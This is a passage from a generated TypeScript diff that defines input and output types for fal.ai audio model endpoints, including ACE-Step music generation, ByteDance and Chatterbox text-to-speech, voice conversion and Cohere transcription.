1.5 + * @type number | undefined + */ + lyric_guidance_scale?: number + /** + * @description URL of the audio file to be inpainted. + * @example https://storage.googleapis.com/falserverless/example_inputs/ace-step-audio-to-audio.wav + * @type string + */ + audio_url: string + /** + * @description Minimum guidance scale for the generation after the decay. + * @minimum 0 + * @maximum 200 + * @default 3 + * @example 3 + * @type number | undefined + */ + minimum_guidance_scale?: number + /** + * @description Guidance interval decay for the generation. Guidance scale will decay from guidance_scale to min_guidance_scale in the interval. 0.0 means no decay. + * @minimum 0 + * @maximum 1 + * @default 0 + * @example 0 + * @type number | undefined + */ + guidance_interval_decay?: number + /** + * @description Whether the start time is relative to the start or end of the audio. + * @default 'start' + * @example start + * @type string | undefined + */ + start_time_relative_to?: InputFalAiAceStepAudioInpaintStartTimeRelativeToEnumKey + /** + * @description Type of CFG to use for the generation process. + * @default 'apg' + * @example apg + * @type string | undefined + */ + guidance_type?: InputFalAiAceStepAudioInpaintGuidanceTypeEnumKey + /** + * @description Number of steps to generate the audio. + * @minimum 3 + * @maximum 60 + * @default 27 + * @example 27 + * @type integer | undefined + */ + number_of_steps?: number + /** + * @description Variance for the inpainting process. Higher values can lead to more diverse results. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @example 0.5 + * @type number | undefined + */ + variance?: number + /** + * @description Granularity scale for the generation process. Higher values can reduce artifacts. + * @minimum -100 + * @maximum 100 + * @default 10 + * @example 10 + * @type integer | undefined + */ + granularity_scale?: number + /** + * @description Scheduler to use for the generation process. + * @default 'euler' + * @example euler + * @type string | undefined + */ + scheduler?: InputFalAiAceStepAudioInpaintSchedulerEnumKey +} + +export type File03567E8D = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiAceStepAudioInpaint = { + /** + * @description The generated audio file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/ace-step-audio-inpaint.wav"} + * @type object + */ + audio: File03567E8D + /** + * @description The genre tags used in the generation process. + * @example lofi, hiphop, drum and bass, trap, chill + * @type string + */ + tags: string + /** + * @description The random seed used for the generation process. + * @example 42 + * @type integer + */ + seed: number + /** + * @description The lyrics used in the generation process. + * @example [inst] + * @type string + */ + lyrics: string +} + +export const inputFalAiAceStepAudioOutpaintGuidanceTypeEnum = { + cfg: 'cfg', + apg: 'apg', + cfg_star: 'cfg_star', +} as const + +export type InputFalAiAceStepAudioOutpaintGuidanceTypeEnumKey = + (typeof inputFalAiAceStepAudioOutpaintGuidanceTypeEnum)[keyof typeof inputFalAiAceStepAudioOutpaintGuidanceTypeEnum] + +export const inputFalAiAceStepAudioOutpaintSchedulerEnum = { + euler: 'euler', + heun: 'heun', +} as const + +export type InputFalAiAceStepAudioOutpaintSchedulerEnumKey = + (typeof inputFalAiAceStepAudioOutpaintSchedulerEnum)[keyof typeof inputFalAiAceStepAudioOutpaintSchedulerEnum] + +export type InputFalAiAceStepAudioOutpaint = { + /** + * @description Comma-separated list of genre tags to control the style of the generated audio. Can also be supplied as `prompt`. + * @example lofi, hiphop, drum and bass, trap, chill + * @type string + */ + tags: string + /** + * @description Guidance interval for the generation. 0.5 means only apply guidance in the middle steps (0.25 * infer_steps to 0.75 * infer_steps) + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @example 0.5 + * @type number | undefined + */ + guidance_interval?: number + /** + * @description Random seed for reproducibility. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description Tag guidance scale for the generation. + * @minimum 0 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + tag_guidance_scale?: number + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Lyrics to be sung in the audio. If not provided or if [inst] or [instrumental] is the content of this field, no lyrics will be sung. Use control structures like [verse], [chorus] and [bridge] to control the structure of the song. + * @default '' + * @type string | undefined + */ + lyrics?: string + /** + * @description Duration in seconds to extend the audio from the end. + * @minimum 0 + * @maximum 107 + * @default 30 + * @example 30 + * @type number | undefined + */ + extend_after_duration?: number + /** + * @description Guidance scale for the generation. + * @minimum 0 + * @maximum 200 + * @default 15 + * @example 15 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Lyric guidance scale for the generation. + * @minimum 0 + * @maximum 10 + * @default 1.5 + * @example 1.5 + * @type number | undefined + */ + lyric_guidance_scale?: number + /** + * @description URL of the audio file to be outpainted. + * @example https://storage.googleapis.com/falserverless/example_inputs/ace-step-audio-to-audio.wav + * @type string + */ + audio_url: string + /** + * @description Minimum guidance scale for the generation after the decay. + * @minimum 0 + * @maximum 200 + * @default 3 + * @example 3 + * @type number | undefined + */ + minimum_guidance_scale?: number + /** + * @description Duration in seconds to extend the audio from the start. + * @minimum 0 + * @maximum 107 + * @default 0 + * @example 0 + * @type number | undefined + */ + extend_before_duration?: number + /** + * @description Guidance interval decay for the generation. Guidance scale will decay from guidance_scale to min_guidance_scale in the interval. 0.0 means no decay. + * @minimum 0 + * @maximum 1 + * @default 0 + * @example 0 + * @type number | undefined + */ + guidance_interval_decay?: number + /** + * @description Type of CFG to use for the generation process. + * @default 'apg' + * @example apg + * @type string | undefined + */ + guidance_type?: InputFalAiAceStepAudioOutpaintGuidanceTypeEnumKey + /** + * @description Number of steps to generate the audio. + * @minimum 3 + * @maximum 60 + * @default 27 + * @example 27 + * @type integer | undefined + */ + number_of_steps?: number + /** + * @description Granularity scale for the generation process. Higher values can reduce artifacts. + * @minimum -100 + * @maximum 100 + * @default 10 + * @example 10 + * @type integer | undefined + */ + granularity_scale?: number + /** + * @description Scheduler to use for the generation process. + * @default 'euler' + * @example euler + * @type string | undefined + */ + scheduler?: InputFalAiAceStepAudioOutpaintSchedulerEnumKey +} + +export type File47Ec6C12 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiAceStepAudioOutpaint = { + /** + * @description The generated audio file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/ace-step-text-to-audio.wav"} + * @type object + */ + audio: File47Ec6C12 + /** + * @description The genre tags used in the generation process. + * @example lofi, hiphop, drum and bass, trap, chill + * @type string + */ + tags: string + /** + * @description The random seed used for the generation process. + * @example 42 + * @type integer + */ + seed: number + /** + * @description The lyrics used in the generation process. + * @example [inst] + * @type string + */ + lyrics: string +} + +export const inputFalAiAceStepAudioToAudioEditModeEnum = { + lyrics: 'lyrics', + remix: 'remix', +} as const + +export type InputFalAiAceStepAudioToAudioEditModeEnumKey = + (typeof inputFalAiAceStepAudioToAudioEditModeEnum)[keyof typeof inputFalAiAceStepAudioToAudioEditModeEnum] + +export const inputFalAiAceStepAudioToAudioGuidanceTypeEnum = { + cfg: 'cfg', + apg: 'apg', + cfg_star: 'cfg_star', +} as const + +export type InputFalAiAceStepAudioToAudioGuidanceTypeEnumKey = + (typeof inputFalAiAceStepAudioToAudioGuidanceTypeEnum)[keyof typeof inputFalAiAceStepAudioToAudioGuidanceTypeEnum] + +export const inputFalAiAceStepAudioToAudioSchedulerEnum = { + euler: 'euler', + heun: 'heun', +} as const + +export type InputFalAiAceStepAudioToAudioSchedulerEnumKey = + (typeof inputFalAiAceStepAudioToAudioSchedulerEnum)[keyof typeof inputFalAiAceStepAudioToAudioSchedulerEnum] + +export type InputFalAiAceStepAudioToAudio = { + /** + * @description Original tags of the audio file. + * @example lofi, hiphop, drum and bass, trap, chill + * @type string + */ + original_tags: string + /** + * @description Guidance interval for the generation. 0.5 means only apply guidance in the middle steps (0.25 * infer_steps to 0.75 * infer_steps) + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @example 0.5 + * @type number | undefined + */ + guidance_interval?: number + /** + * @description Comma-separated list of genre tags to control the style of the generated audio. Can also be supplied as `prompt`. + * @example lofi, hiphop, drum and bass, trap, chill + * @type string + */ + tags: string + /** + * @description Random seed for reproducibility. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description Tag guidance scale for the generation. + * @minimum 0 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + tag_guidance_scale?: number + /** + * @description Original seed of the audio file. + */ + original_seed?: number | null + /** + * @description Lyrics to be sung in the audio. If not provided or if [inst] or [instrumental] is the content of this field, no lyrics will be sung. Use control structures like [verse], [chorus] and [bridge] to control the structure of the song. + * @default '' + * @type string | undefined + */ + lyrics?: string + /** + * @description Whether to edit the lyrics only or remix the audio. + * @default 'remix' + * @example remix + * @type string | undefined + */ + edit_mode?: InputFalAiAceStepAudioToAudioEditModeEnumKey + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Guidance scale for the generation. + * @minimum 0 + * @maximum 200 + * @default 15 + * @example 15 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Lyric guidance scale for the generation. + * @minimum 0 + * @maximum 10 + * @default 1.5 + * @example 1.5 + * @type number | undefined + */ + lyric_guidance_scale?: number + /** + * @description URL of the audio file to be outpainted. + * @example https://storage.googleapis.com/falserverless/example_inputs/ace-step-audio-to-audio.wav + * @type string + */ + audio_url: string + /** + * @description Original lyrics of the audio file. + * @default '' + * @example + * @type string | undefined + */ + original_lyrics?: string + /** + * @description Minimum guidance scale for the generation after the decay. + * @minimum 0 + * @maximum 200 + * @default 3 + * @example 3 + * @type number | undefined + */ + minimum_guidance_scale?: number + /** + * @description Guidance interval decay for the generation. Guidance scale will decay from guidance_scale to min_guidance_scale in the interval. 0.0 means no decay. + * @minimum 0 + * @maximum 1 + * @default 0 + * @example 0 + * @type number | undefined + */ + guidance_interval_decay?: number + /** + * @description Type of CFG to use for the generation process. + * @default 'apg' + * @example apg + * @type string | undefined + */ + guidance_type?: InputFalAiAceStepAudioToAudioGuidanceTypeEnumKey + /** + * @description Number of steps to generate the audio. + * @minimum 3 + * @maximum 60 + * @default 27 + * @example 27 + * @type integer | undefined + */ + number_of_steps?: number + /** + * @description Granularity scale for the generation process. Higher values can reduce artifacts. + * @minimum -100 + * @maximum 100 + * @default 10 + * @example 10 + * @type integer | undefined + */ + granularity_scale?: number + /** + * @description Scheduler to use for the generation process. + * @default 'euler' + * @example euler + * @type string | undefined + */ + scheduler?: InputFalAiAceStepAudioToAudioSchedulerEnumKey +} + +export type File3Dfb50B8 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiAceStepAudioToAudio = { + /** + * @description The generated audio file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/ace-step-audio-to-audio.wav"} + * @type object + */ + audio: File3Dfb50B8 + /** + * @description The genre tags used in the generation process. + * @example lofi, hiphop, drum and bass, trap, chill + * @type string + */ + tags: string + /** + * @description The random seed used for the generation process. + * @example 42 + * @type integer + */ + seed: number + /** + * @description The lyrics used in the generation process. + * @example [inst] + * @type string + */ + lyrics: string +} + +export const inputFalAiAceStepPromptToAudioSchedulerEnum = { + euler: 'euler', + heun: 'heun', +} as const + +export type InputFalAiAceStepPromptToAudioSchedulerEnumKey = + (typeof inputFalAiAceStepPromptToAudioSchedulerEnum)[keyof typeof inputFalAiAceStepPromptToAudioSchedulerEnum] + +export const inputFalAiAceStepPromptToAudioGuidanceTypeEnum = { + cfg: 'cfg', + apg: 'apg', + cfg_star: 'cfg_star', +} as const + +export type InputFalAiAceStepPromptToAudioGuidanceTypeEnumKey = + (typeof inputFalAiAceStepPromptToAudioGuidanceTypeEnum)[keyof typeof inputFalAiAceStepPromptToAudioGuidanceTypeEnum] + +export type InputFalAiAceStepPromptToAudio = { + /** + * @description The duration of the generated audio in seconds. + * @minimum 5 + * @maximum 240 + * @default 60 + * @type number | undefined + */ + duration?: number + /** + * @description Guidance interval for the generation. 0.5 means only apply guidance in the middle steps (0.25 * infer_steps to 0.75 * infer_steps) + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @example 0.5 + * @type number | undefined + */ + guidance_interval?: number + /** + * @description Scheduler to use for the generation process. + * @default 'euler' + * @example euler + * @type string | undefined + */ + scheduler?: InputFalAiAceStepPromptToAudioSchedulerEnumKey + /** + * @description Random seed for reproducibility. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description Tag guidance scale for the generation. + * @minimum 0 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + tag_guidance_scale?: number + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Guidance scale for the generation. + * @minimum 0 + * @maximum 200 + * @default 15 + * @example 15 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Lyric guidance scale for the generation. + * @minimum 0 + * @maximum 10 + * @default 1.5 + * @example 1.5 + * @type number | undefined + */ + lyric_guidance_scale?: number + /** + * @description Guidance interval decay for the generation. Guidance scale will decay from guidance_scale to min_guidance_scale in the interval. 0.0 means no decay. + * @minimum 0 + * @maximum 1 + * @default 0 + * @example 0 + * @type number | undefined + */ + guidance_interval_decay?: number + /** + * @description Minimum guidance scale for the generation after the decay. + * @minimum 0 + * @maximum 200 + * @default 3 + * @example 3 + * @type number | undefined + */ + minimum_guidance_scale?: number + /** + * @description Type of CFG to use for the generation process. + * @default 'apg' + * @example apg + * @type string | undefined + */ + guidance_type?: InputFalAiAceStepPromptToAudioGuidanceTypeEnumKey + /** + * @description Number of steps to generate the audio. + * @minimum 3 + * @maximum 60 + * @default 27 + * @example 27 + * @type integer | undefined + */ + number_of_steps?: number + /** + * @description Whether to generate an instrumental version of the audio. + * @default false + * @example false + * @type boolean | undefined + */ + instrumental?: boolean + /** + * @description Granularity scale for the generation process. Higher values can reduce artifacts. + * @minimum -100 + * @maximum 100 + * @default 10 + * @example 10 + * @type integer | undefined + */ + granularity_scale?: number + /** + * @description Prompt to control the style of the generated audio. This will be used to generate tags and lyrics. + * @example A lofi hiphop song with a chill vibe about a sunny day on the boardwalk. + * @type string + */ + prompt: string +} + +export type File1F4E0Dd4 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiAceStepPromptToAudio = { + /** + * @description The generated audio file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/ace-step-text-to-audio.wav"} + * @type object + */ + audio: File1F4E0Dd4 + /** + * @description The genre tags used in the generation process. + * @example lofi, hiphop, drum and bass, trap, chill + * @type string + */ + tags: string + /** + * @description The random seed used for the generation process. + * @example 42 + * @type integer + */ + seed: number + /** + * @description The lyrics used in the generation process. + * @example [inst] + * @type string + */ + lyrics: string +} + +export type InputFalAiAudioUnderstanding = { + /** + * @description Whether to request a more detailed analysis of the audio + * @default false + * @type boolean | undefined + */ + detailed_analysis?: boolean + /** + * @description The question or prompt about the audio content. + * @minLength 1 + * @maxLength 10000 + * @example What is being discussed in this audio? + * @example What emotions are expressed in this audio? + * @example What is the main topic of this conversation? + * @type string + */ + prompt: string + /** + * @description URL of the audio file to analyze + * @example https://storage.googleapis.com/falserverless/model_tests/audio-understanding/Title_%20Running%20on%20Fal.mp3 + * @type string + */ + audio_url: string +} + +export type OutputFalAiAudioUnderstanding = { + /** + * @description The analysis of the audio content based on the prompt + * @example Based on the audio, this appears to be a business meeting discussing quarterly sales results. The speakers are analyzing performance metrics and discussing strategies for the upcoming quarter. The tone is professional and collaborative, with multiple participants contributing to the discussion. + * @type string + */ + output: string +} + +export const inputFalAiBytedanceSeedSpeechTtsV2OutputFormatEnum = { + mp3: 'mp3', + opus: 'opus', +} as const + +export type InputFalAiBytedanceSeedSpeechTtsV2OutputFormatEnumKey = + (typeof inputFalAiBytedanceSeedSpeechTtsV2OutputFormatEnum)[keyof typeof inputFalAiBytedanceSeedSpeechTtsV2OutputFormatEnum] + +export const inputFalAiBytedanceSeedSpeechTtsV2SampleRateEnum = { + '8000': 8000, + '16000': 16000, + '22050': 22050, + '24000': 24000, + '32000': 32000, + '44100': 44100, + '48000': 48000, +} as const + +export type InputFalAiBytedanceSeedSpeechTtsV2SampleRateEnumKey = + (typeof inputFalAiBytedanceSeedSpeechTtsV2SampleRateEnum)[keyof typeof inputFalAiBytedanceSeedSpeechTtsV2SampleRateEnum] + +export const inputFalAiBytedanceSeedSpeechTtsV2Language = { + zh: 'zh', + en: 'en', + ja: 'ja', + 'es-mx': 'es-mx', + id: 'id', + 'pt-br': 'pt-br', + ko: 'ko', + it: 'it', + de: 'de', + fr: 'fr', +} as const + +export type InputFalAiBytedanceSeedSpeechTtsV2LanguageKey = + (typeof inputFalAiBytedanceSeedSpeechTtsV2Language)[keyof typeof inputFalAiBytedanceSeedSpeechTtsV2Language] + +export const inputFalAiBytedanceSeedSpeechTtsV2VoiceEnum = { + vivi_mixed_en_zh_ja_es_id: 'vivi_mixed_en_zh_ja_es_id', + mindy_en_es_id_pt_zh: 'mindy_en_es_id_pt_zh', + stokie_en: 'stokie_en', + dacey_en: 'dacey_en', + tim_en: 'tim_en', + kian_en_zh: 'kian_en_zh', + cedric_en_zh: 'cedric_en_zh', + sophie_en_zh: 'sophie_en_zh', + jean_en_zh: 'jean_en_zh', + magnus_en_zh: 'magnus_en_zh', + mabel_en_zh: 'mabel_en_zh', + nadia_en_zh: 'nadia_en_zh', + opal_en_zh: 'opal_en_zh', + pearl_en_zh: 'pearl_en_zh', + quentin_en_zh: 'quentin_en_zh', + vienna_mixed_en_zh: 'vienna_mixed_en_zh', + alina_mixed_en_zh: 'alina_mixed_en_zh', + corinne_mixed_en_zh: 'corinne_mixed_en_zh', + esther_mixed_en_zh: 'esther_mixed_en_zh', + freya_mixed_en_zh: 'freya_mixed_en_zh', + gigi_mixed_en_zh: 'gigi_mixed_en_zh', + holly_mixed_en_zh: 'holly_mixed_en_zh', + lyla_mixed_en_zh: 'lyla_mixed_en_zh', + daisy_mixed_en_zh: 'daisy_mixed_en_zh', + tracy_es_zh: 'tracy_es_zh', + jess_ja_es_id_pt_en_zh: 'jess_ja_es_id_pt_en_zh', + pinky_es_ko_mixed_en_zh: 'pinky_es_ko_mixed_en_zh', + sweety_ja_es: 'sweety_ja_es', + sandy_es_mixed_en_zh: 'sandy_es_mixed_en_zh', + sven_de: 'sven_de', + minimi_ja: 'minimi_ja', + usseau_fr: 'usseau_fr', + felipe_es: 'felipe_es', + han_id: 'han_id', + martins_pt: 'martins_pt', + enzo_it: 'enzo_it', + shane_ko: 'shane_ko', + bonnie_zh: 'bonnie_zh', + felix_zh: 'felix_zh', + celeste_zh: 'celeste_zh', + monkey_king_zh: 'monkey_king_zh', +} as const + +export type InputFalAiBytedanceSeedSpeechTtsV2VoiceEnumKey = + (typeof inputFalAiBytedanceSeedSpeechTtsV2VoiceEnum)[keyof typeof inputFalAiBytedanceSeedSpeechTtsV2VoiceEnum] + +export type InputFalAiBytedanceSeedSpeechTtsV2 = { + /** + * @description Output audio format. 'mp3' returns MP3 audio; 'opus' returns Opus audio in an Ogg container. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiBytedanceSeedSpeechTtsV2OutputFormatEnumKey + /** + * @description Sample rate of the output audio in Hz. + * @default 24000 + * @type number | undefined + */ + sample_rate?: InputFalAiBytedanceSeedSpeechTtsV2SampleRateEnumKey + /** + * @description Volume. 1.0 is normal volume, 0.5 is half, 2.0 is double. + * @minimum 0.5 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + volume?: number + /** + * @description Voice pitch shift in semitones. 0 is normal pitch, -12 lowers by one octave, 12 raises by one octave. + * @minimum -12 + * @maximum 12 + * @default 0 + * @type integer | undefined + */ + pitch?: number + /** + * @description Force the text to be read as a single language, disabling automatic language detection. Leave unset for automatic detection (including seamless Chinese/English mixing on bilingual voices). Codes: zh (Chinese), en (English), ja (Japanese), es-mx (Mexican Spanish), id (Indonesian), pt-br (Brazilian Portuguese), ko (Korean), it (Italian), de (German), fr (French). + */ + language?: InputFalAiBytedanceSeedSpeechTtsV2LanguageKey | null + /** + * @description Voice to use for synthesis. The preset name encodes the voice and its supported language codes. 'mixed_en_zh' means the voice can seamlessly blend English and Chinese; separate codes (e.g. 'en_zh') mean the voice supports each language independently. + * @default 'stokie_en' + * @example stokie_en + * @type string | undefined + */ + voice?: InputFalAiBytedanceSeedSpeechTtsV2VoiceEnumKey + /** + * @description The text to synthesize into speech. + * @maxLength 5000 + * @example Hello, this is a test of ByteDance TTS 2.0 speech synthesis. + * @type string + */ + text: string + /** + * @description Optional natural-language instruction that steers the delivery (tone, emotion, pace, volume), e.g. 'Speak in a cheerful tone' or 'Could you speak a bit slower?'. It is not spoken aloud and does not affect billing. + * @example Speak in a warm, cheerful tone. + */ + voice_instruction?: string | null + /** + * @description Speech speed. 1.0 is normal speed, 0.5 is half speed, 2.0 is double speed. + * @minimum 0.5 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + speed?: number +} + +export type File6B5E2479 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiBytedanceSeedSpeechTtsV2 = { + /** + * @description The generated audio file. + * @example {"url":"https://v3b.fal.media/files/b/0a9abcc6/Si0ucRYji4wPj7Z2H2XFL_audio.mp3"} + * @type object + */ + audio: File6B5E2479 +} + +export type InputFalAiChatterboxSpeechToSpeech = { + /** + * @description Required URL to an audio file to use as the target reference voice for speech-to-speech voice conversion. + * @example https://v3.fal.media/files/tiger/0XODRhebRLiBdu8MqgZc5_tmpljqsylwu.wav + */ + target_voice_audio_url?: string | null + /** + * @example https://storage.googleapis.com/chatterbox-demo-samples/samples/duff_stewie.wav + * @type string + */ + source_audio_url: string +} + +export type File0939Ba9E = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiChatterboxSpeechToSpeech = { + /** + * @description The generated speech audio + * @example {"url":"https://v3.fal.media/files/kangaroo/RQ_pxc7oPdueYqWUqEbPE_tmpjnzvvzx_.wav"} + * @type object + */ + audio: File0939Ba9E +} + +export type InputFalAiChatterboxTextToSpeech = { + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Temperature for generation (higher = more creative). + * @minimum 0.05 + * @maximum 2 + * @default 0.7 + * @type number | undefined + */ + temperature?: number + /** + * @minimum 0.1 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + cfg?: number + /** + * @description Useful to control the reproducibility of the generated audio. Assuming all other properties didn't change, a fixed seed should always generate the exact same audio file. Set to 0 for random seed.. + */ + seed?: number | null + /** + * @description Exaggeration factor for the generated speech (0.0 = no exaggeration, 1.0 = maximum exaggeration). + * @minimum 0 + * @maximum 1 + * @default 0.25 + * @type number | undefined + */ + exaggeration?: number + /** + * @description Optional URL to an audio file to use as a reference for the generated speech. If provided, the model will try to match the style and tone of the reference audio. + * @default https://storage.googleapis.com/chatterbox-demo-samples/prompts/male_rickmorty.mp3 + */ + audio_url?: string | null + /** + * @description The text to be converted to speech (maximum 5000 characters). You can additionally add the following emotive tags: , , , , , , , + * @example I just found a hidden treasure in the backyard! Check it out! + * @type string + */ + text: string +} + +export type File2E676433 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiChatterboxTextToSpeech = { + /** + * @description The generated speech audio + * @example {"url":"https://v3.fal.media/files/kangaroo/RQ_pxc7oPdueYqWUqEbPE_tmpjnzvvzx_.wav"} + * @type object + */ + audio: File2E676433 +} + +export const inputFalAiChatterboxTextToSpeechMultilingualCustomAudioLanguage = { + english: 'english', + arabic: 'arabic', + danish: 'danish', + german: 'german', + greek: 'greek', + spanish: 'spanish', + finnish: 'finnish', + french: 'french', + hebrew: 'hebrew', + hindi: 'hindi', + italian: 'italian', + japanese: 'japanese', + korean: 'korean', + malay: 'malay', + dutch: 'dutch', + norwegian: 'norwegian', + polish: 'polish', + portuguese: 'portuguese', + russian: 'russian', + swedish: 'swedish', + swahili: 'swahili', + turkish: 'turkish', + chinese: 'chinese', +} as const + +export type InputFalAiChatterboxTextToSpeechMultilingualCustomAudioLanguageKey = + (typeof inputFalAiChatterboxTextToSpeechMultilingualCustomAudioLanguage)[keyof typeof inputFalAiChatterboxTextToSpeechMultilingualCustomAudioLanguage] + +export type InputFalAiChatterboxTextToSpeechMultilingual = { + /** + * @description Controls randomness and variation in generation (0.05-2.0). Higher values create more varied speech patterns. + * @minimum 0.05 + * @maximum 2 + * @default 0.8 + * @type number | undefined + */ + temperature?: number + /** + * @description Random seed for reproducible results. Set to 0 for random generation, or provide a specific number for consistent outputs. + */ + seed?: number | null + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The text to be converted to speech (maximum 300 characters). Supports 23 languages including English, French, German, Spanish, Italian, Portuguese, Hindi, Arabic, Chinese, Japanese, Korean, and more. + * @maxLength 300 + * @example Last month, we reached a new milestone with two billion views on our YouTube channel. + * @example Le mois dernier, nous avons atteint un nouveau jalon avec deux milliards de vues sur notre chaîne YouTube. + * @type string + */ + text: string + /** + * @description Configuration/pace weight controlling generation guidance (0.0-1.0). Use 0.0 for language transfer to mitigate accent inheritance. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + cfg_scale?: number + /** + * @description If using a custom audio URL, specify the language of the audio here. Ignored if voice is not a custom url. + */ + custom_audio_language?: InputFalAiChatterboxTextToSpeechMultilingualCustomAudioLanguageKey | null + /** + * @description Language code for synthesis, or a reference audio URL with custom_audio_language selected. Invalid reference audio is rejected with a non-billable 422 error. + * @default 'english' + * @example english + * @example arabic + * @example danish + * @example german + * @example greek + * @example spanish + * @example finnish + * @example french + * @example hebrew + * @example hindi + * @example italian + * @example japanese + * @example korean + * @example malay + * @example dutch + * @example norwegian + * @example polish + * @example portuguese + * @example russian + * @example swedish + * @example swahili + * @example turkish + * @example chinese + * @type string | undefined + */ + voice?: string + /** + * @description Controls speech expressiveness and emotional intensity (0.25-2.0). 0.5 is neutral, higher values increase expressiveness. Extreme values may be unstable. + * @minimum 0.25 + * @maximum 2 + * @default 0.5 + * @type number | undefined + */ + exaggeration?: number +} + +export type File1C0A596F = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiChatterboxTextToSpeechMultilingual = { + /** + * @description The generated multilingual speech audio file + * @example {"url":"https://v3.fal.media/files/example/multilingual_speech_output.wav"} + * @type object + */ + audio: File1C0A596F +} + +export const inputFalAiCohereTranscribeLanguageEnum = { + en: 'en', + fr: 'fr', + de: 'de', + it: 'it', + es: 'es', + pt: 'pt', + el: 'el', + nl: 'nl', + pl: 'pl', + zh: 'zh', + ja: 'ja', + ko: 'ko', + vi: 'vi', + ar: 'ar', +} as const + +export type InputFalAiCohereTranscribeLanguageEnumKey = + (typeof inputFalAiCohereTranscribeLanguageEnum)[keyof typeof inputFalAiCohereTranscribeLanguageEnum] + +export type InputFalAiCohereTranscribe = { + /** + * @description Maximum number of tokens to generate per audio chunk. + * @minimum 1 + * @maximum 1014 + * @default 256 + * @type integer | undefined + */ + max_new_tokens?: number + /** + * @description URL of the audio file to transcribe. Supported formats: mp3, mp4, mpeg, mpga, m4a, wav, webm, ogg, flac. + * @example https://storage.googleapis.com/falserverless/model_tests/whisper/dinner_conversation.mp3 + * @type string + */ + audio_url: string + /** + * @description Language of the audio (ISO 639-1 code). Supported: en, fr, de, it, es, pt, el, nl, pl, zh, ja, ko, vi, ar. + * @default 'en' + * @type string | undefined + */ + language?: InputFalAiCohereTranscribeLanguageEnumKey + /** + * @description Whether to include punctuation and capitalization in the output. + * @default true + * @type boolean | undefined + */ + punctuation?: boolean +} + +export type OutputFalAiCohereTranscribe = { + /** + * @description Transcribed text from the audio file. + * @type string + */ + text: string + /** + * @description Performance timing breakdown in seconds. + * @type object | undefined + */ + timings?: { + [key: string]: number + } +} + +export type Turn = { + speaker_id: number + text: string +} + 